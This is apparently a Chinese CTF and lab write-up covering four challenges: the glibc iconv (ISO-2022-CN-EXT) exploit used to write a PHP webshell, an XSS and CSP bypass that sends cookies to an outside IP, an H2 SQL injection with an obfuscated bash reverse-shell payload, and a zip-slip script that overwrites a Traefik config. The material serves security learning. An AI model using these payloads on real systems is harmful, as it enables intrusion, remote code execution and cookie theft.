0%

n1junior

n1junior

Gavatar

iconv:是php的内置函数,将字符串转换为请求的字符编码,iconv() 是一个国际标准转换应用程序命令行编程接口,它利用 Unicode 转换将各种字符编码转换为其他编码类型。

在GNU C库,也就是glibc中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,iconv函数在将字符串转换为ISO-2022-CN-EXT 字符集式,可能回事传递给他的输出缓冲区溢出最多4个字节,可能会导致应用程序崩溃或覆盖相邻变量,convert.iconv.X.Y 的过滤器也是将字符集从 X 转换为 Y,在linux上他的底层就是使用了glibc的iconv,

vulhub靶场实践

image.png

通过post传参file就可以任意文件读取

image.png

使用工具php-filter-iconv-main,我们需要读取两个文件/proc/self/maps和libc-2.x.so,我们通过前一个文件就可以知道是libc.s0.6

image.png

image.png

使用的是原作者给出的exploit

1
2
3
4
5
6
7
8
需要安装的依赖
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后下载poc
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://198.23.148.51:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
//代码执行有版本要求,使用的python语法要求版本大于3.10

image.png

访问后可以看到我们成功rce了

image.png

本地

本地环境搭建

image.png

注册用户进入profile页面

image.png

image.png

image.png根据源码给upload传参,可以看到头像变成了透明的

image.png

在新标签页打开,就可以看到输出的内容

image.png

也就印证了存在我们所知的漏洞能够进行任意文件读取

使用的工具:https://github.com/kezibei/php-filter-iconv

由于需要读取的是/proc/self/maps和libc-2.x.so文件,所以我们用filter过滤器保证文件读出来的完整性

image.png

内容太大用代码解码

1
2
3
4
5
6
7
8
9
<?php
$encoded_data = " ";

$decoded_data = base64_decode($encoded_data);

file_put_contents('libc.so.6', $decoded_data);

echo "数据已保存到 libc.so.6 文件中";
?>

image.png

运行文件就会输出payload

image.png

访问1.php我们就会发现文件已经被写入了

image.png成功rce

display

docker run -d -p 3000:3000 display

自我反思docker用得烂烂的,不知道为什么拉不下来,最后一直在改镜像源,我归结为学校里面的破烂网

补充一个之前一直没有注意到的细节, 容器内的服务会监听特定的端口,这个时候就不能是80,要根据运行的服务进行改动,不然打不开,搭容器给我卡疯了,破口大骂,离谱到前面都拉下来了RUN npm install搁那一直加载

image.png

见到它真的太不容易了X﹏X

xss同源策略绕过,innerHtml\inerText

image.png

image.png

也就是达到下面这个效果,同时可以看到flag,在cookie里面

image.png

这个是漏洞点,我们能够进行xss

image.png

其中sanitize是用于富文本防止xss攻击的一种安全过滤手段,能对script标签等进行过滤,白名单只允许h1和h2标签

image.png

image.png这一段代码存在逻辑问题,也就是我们可以利用的漏洞点

innerText:这个属性主要用于获取或设置元素内部文本内容,不包括HTML标签,只返回纯文本, 如果 HTML 内容包含 <> 等字符(例如 <div>),这些字符会被当作普通文本处理,而不是 HTML 元素 。

innerHtml: 获取或设置元素的 HTML 内容,包括 HTML 标签, 如果你将 HTML 编码后的内容赋给 innerHTML,它会被自动解析为 HTML 元素(例如 <div> 会变成一个 div 标签)。

image.png

所以当我们给一个HTML编码后的东西,就会被解析为HTML代码,实现绕过。

innerHtml里面的标签在插入后不会立即执行script标签,二十需要刷新一次,但是刷新后我们写入的内容又会失效,因此我们需要利用iframe标签

iframe:用于在网页内嵌另一个网页

image.png

image.png

运行后发现控制台弹出错误,继续去看源码

image.png

什么是CSP

CSP是一种网络安全机制,旨在减少或消除跨站脚本(XSS)和数据注入攻击

CSP的工作原理是通过浏览器读取网页服务器发送的Content-Security-Policy HTTP 头文件,然后根据其中的规则来决定是否允许加载某个资源。

CSP的规则主要包括:

默认源(default-src):指定默认的资源加载源,除非其他规则覆盖。

脚本源(script-src):控制可以加载和执行的 JavaScript 资源。

样式源(style-src):控制可以加载的 CSS 资源。

图片源(img-src):控制可以加载的图像资源。

字体源(font-src):控制可以加载的字体资源。

连接源(connect-src):控制可以发起的网络请求(例如 AJAX 请求)。

媒体源(media-src):控制可以加载的视频和音频资源。

框架源(frame-src):控制嵌入的 iframe 来源。

这些规则允许网站管理员细致地控制网页内容的来源,避免一些不受信任或恶意的外部资源被加载,从而提升网站的安全性。

引用连接

简单来说就是仅允许同源加载

image.png

image.png

成功进行了弹窗,我们需要拿的东西在cookie里面尝试一下

<iframe srcdoc = "<script src='http://localhost:3000//%0Aalert(document.cookie)%0A//'></script>"></iframe>

image.png

我这边也是直接拿到了,但是案例来说是iframe标签页的cookie,所以应该是windows.parent.document.cookie

cookie外带

http://localhost:3000/?text=&lt;iframe srcdoc='&lt;script src=&quot;http://localhost:3000//%0Awindow.location.href=\http://198.23.148.51/\`+window.parent.document.cookie%0A//"></script>'></iframe>`base64编码即可

image.png

image.png

python3 -m http.server 80卡时间没出来就没试了

easydb

docker run -d -p 8000:8000 easydb

Java h2 SQL rce

运行jar xf EasyDB.jar得到BOOT-INF

image.png

UserController是一个登录路由,登录的逻辑在UserService.validateUser

image.png在UserService.validateUser里可以看到username和password可控,由此就可以知道是SQL注入,然后还有一个SecurityUtils.check的过滤,ban掉了常用的一些东西

image.png

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS aa AS 'String fun() throws Exception{ //创建一个名为 aa 的别名
String[] cmds = new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/198.23.148.51/777 <&1"};
//动态加载 java.lang.Runtime 类,这使得后续可以通过反射调用 Runtime 类的 getRuntime() 方法
Class clazz = Class.forName("java.lang.Runt" + "ime");

//invoke() 方法用于在运行时通过反射调用一个方法。这里调用的是 Runtime.getRuntime() 方法
Object run = clazz.getMethod("getRunt" + "ime").invoke(null);
clazz.getDeclaredMethod("ex" + "ec", String[].class).invoke(run, (Object) cmds);
return "ok";
}';

clazz.getMethod("getRunt" + "ime") 通过反射机制获取 Runtime 类中的 getRuntime() 方法。

clazz.getMethod() 接受一个方法名("getRuntime")作为参数,返回一个 Method 对象。通过这个 Method 对象,可以调用对应的方法。

getDeclaredMethod()Class 类提供的一个方法,用来获取一个类的指定方法。这个方法可以获取类中所有的方法(包括私有方法)

payload:1';CREATE ALIAS aa AS 'String fun() throws Exception{ String[] cmds = new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/198.23.148.51/777 <&1"}; Class clazz = Class.forName("java.lang.Runt" + "ime"); Object run = clazz.getMethod("getRunt" + "ime").invoke(null); clazz.getDeclaredMethod("ex" + "ec", String[].class).invoke(run, (Object) cmds); return "ok"; }';CALL aa();--+

image.png

成功反弹shell,进行rce即可,flag本身为空,所以没有内容。

traefik

容器创建好后直接访问,会发现是404,通过查看traefik.yml文件,可以发现traefik做了代理providers.file 使得服务是通过读取 /app/.config/dynamic.yml 文件来动态加载配置 ,只允许 /public/index/public/upload 的访问

而我们去查看dynamic.yml可以发现文件时动态生成的,可以考虑进行文件覆盖,实现访问/flag

main.go文件

image.png

这里提供了一个解压功能,是典型的zipslip

构造恶意zip包实现目录穿越和文件覆盖

1
2
3
4
5
6
7
8
9
10
import zipfile  

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("text.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("text.zip")
zipFile.write("D://desktop/EasyDB-attachment/dynamic.yml", "../../../../../../..//app/.config/dynamic.yml", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Dynamic configuration

http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
middlewares:
add-x-forwarded-for:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- add-x-forwarded-for

运行代码得到一个压缩包,访问/public/index,然后将压缩包上传后就实现了文件覆盖,直接访问/flag即可得到flag

image.png

image.png

后台也可以看到成功覆盖了


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/gq4l6msrrc9sh7ql
语雀文档ID: 207538752